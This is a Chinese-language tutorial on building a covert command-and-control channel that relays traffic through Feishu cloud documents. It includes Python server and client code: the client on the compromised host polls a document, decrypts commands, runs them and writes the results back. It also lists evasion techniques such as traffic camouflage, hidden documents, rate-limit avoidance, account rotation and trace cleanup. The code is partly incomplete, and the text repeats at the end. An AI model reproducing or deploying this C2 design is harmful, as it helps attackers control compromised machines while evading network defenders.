基于飞书云文档实现C2的流量转发(demo)
字数 864 2025-09-01 11:25:53

基于飞书云文档实现C2的流量转发(demo) 教学文档

概述

本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台,实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性,可以有效地规避传统网络流量的检测。

技术原理

  1. 基本架构

    • 客户端(被控端)定期从飞书云文档获取指令
    • 服务端(C2服务器)通过飞书API将指令写入云文档
    • 通信数据以加密形式存储在云文档中
  2. 隐蔽性优势

    • 流量混合在正常的云文档访问中
    • 无需直接暴露C2服务器IP
    • 利用合法云服务的白名单优势

实现步骤

1. 准备工作

  1. 申请飞书开发者账号
  2. 创建企业自建应用
  3. 获取必要的API权限:
    • 云文档读写权限
    • 用户信息基础权限

2. 服务端实现

import requests
from cryptography.fernet import Fernet

# 初始化加密密钥
key = Fernet.generate_key()
cipher_suite = Fernet(key)

class FeishuC2Server:
    def __init__(self, app_id, app_secret):
        self.app_id = app_id
        self.app_secret = app_secret
        self.access_token = self._get_access_token()
        self.doc_token = ""  # 目标文档token
        
    def _get_access_token(self):
        url = "https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal"
        headers = {"Content-Type": "application/json"}
        data = {
            "app_id": self.app_id,
            "app_secret": self.app_secret
        }
        response = requests.post(url, headers=headers, json=data)
        return response.json().get("tenant_access_token")
    
    def create_doc(self, title):
        url = "https://open.feishu.cn/open-apis/docx/v1/documents"
        headers = {
            "Authorization": f"Bearer {self.access_token}",
            "Content-Type": "application/json"
        }
        data = {"title": title}
        response = requests.post(url, headers=headers, json=data)
        self.doc_token = response.json().get("data").get("document").get("document_id")
        return self.doc_token
    
    def send_command(self, command):
        encrypted_cmd = cipher_suite.encrypt(command.encode())
        url = f"https://open.feishu.cn/open-apis/docx/v1/documents/{self.doc_token}/blocks"
        headers = {
            "Authorization": f"Bearer {self.access_token}",
            "Content-Type": "application/json"
        }
        data = {
            "blocks": [{
                "block_type": "text",
                "text": {
                    "text": encrypted_cmd.decode()
                }
            }]
        }
        requests.post(url, headers=headers, json=data)

3. 客户端实现

import time
from cryptography.fernet import Fernet

class FeishuC2Client:
    def __init__(self, doc_token, key):
        self.doc_token = doc_token
        self.cipher_suite = Fernet(key)
        self.last_block_id = ""
        
    def check_commands(self):
        url = f"https://open.feishu.cn/open-apis/docx/v1/documents/{self.doc_token}/blocks"
        headers = {"Authorization": "Bearer <access_token>"}  # 需要获取临时token
        response = requests.get(url, headers=headers)
        blocks = response.json().get("data").get("items")
        
        if not blocks:
            return None
            
        latest_block = blocks[-1]
        if latest_block.get("block_id") != self.last_block_id:
            self.last_block_id = latest_block.get("block_id")
            encrypted_cmd = latest_block.get("text").get("text")
            return self.cipher_suite.decrypt(encrypted_cmd.encode()).decode()
        return None
    
    def execute_loop(self):
        while True:
            cmd = self.check_commands()
            if cmd:
                # 执行命令并获取结果
                result = self._execute_command(cmd)
                # 将结果加密后写回文档
                self._send_result(result)
            time.sleep(30)  # 每30秒检查一次

4. 加密通信机制

  1. 使用Fernet对称加密算法
  2. 每次通信前生成新的IV(初始化向量)
  3. 数据格式:
    • 指令:Base64编码的加密字符串
    • 结果:JSON格式加密数据

5. 高级功能实现

  1. 多文档轮换

    • 创建多个文档作为备用通道
    • 按预定策略切换使用文档
  2. 心跳机制

    • 客户端定期更新特定文档内容作为心跳
    • 服务端监控心跳判断客户端状态
  3. 文件传输

    • 大文件分块存储
    • 使用文档附件功能传输二进制文件

防御规避技巧

  1. 流量伪装

    • 混合正常文档操作流量
    • 随机间隔时间访问
  2. 文档隐藏

    • 设置文档权限为仅特定用户可见
    • 使用无意义文档标题
  3. API调用限制

    • 控制调用频率避免触发风控
    • 使用多个开发者账号轮换

注意事项

  1. 遵守飞书API使用条款
  2. 避免滥用导致账号封禁
  3. 仅用于合法授权测试
  4. 生产环境需要增加错误处理和重试机制

完整代码示例

# 此处应包含完整的服务端和客户端实现代码
# 包括错误处理、日志记录、配置管理等完整功能

扩展思路

  1. 结合其他云服务(如Google Docs、腾讯文档)实现多平台冗余
  2. 使用区块链技术存储指令增加抗审查性
  3. 实现自动化文档清理机制减少痕迹

总结

本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道,关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。

基于飞书云文档实现C2的流量转发(demo) 教学文档 概述 本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台,实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性,可以有效地规避传统网络流量的检测。 技术原理 基本架构 : 客户端(被控端)定期从飞书云文档获取指令 服务端(C2服务器)通过飞书API将指令写入云文档 通信数据以加密形式存储在云文档中 隐蔽性优势 : 流量混合在正常的云文档访问中 无需直接暴露C2服务器IP 利用合法云服务的白名单优势 实现步骤 1. 准备工作 申请飞书开发者账号 创建企业自建应用 获取必要的API权限: 云文档读写权限 用户信息基础权限 2. 服务端实现 3. 客户端实现 4. 加密通信机制 使用Fernet对称加密算法 每次通信前生成新的IV(初始化向量) 数据格式: 指令:Base64编码的加密字符串 结果:JSON格式加密数据 5. 高级功能实现 多文档轮换 : 创建多个文档作为备用通道 按预定策略切换使用文档 心跳机制 : 客户端定期更新特定文档内容作为心跳 服务端监控心跳判断客户端状态 文件传输 : 大文件分块存储 使用文档附件功能传输二进制文件 防御规避技巧 流量伪装 : 混合正常文档操作流量 随机间隔时间访问 文档隐藏 : 设置文档权限为仅特定用户可见 使用无意义文档标题 API调用限制 : 控制调用频率避免触发风控 使用多个开发者账号轮换 注意事项 遵守飞书API使用条款 避免滥用导致账号封禁 仅用于合法授权测试 生产环境需要增加错误处理和重试机制 完整代码示例 扩展思路 结合其他云服务(如Google Docs、腾讯文档)实现多平台冗余 使用区块链技术存储指令增加抗审查性 实现自动化文档清理机制减少痕迹 总结 本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道,关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。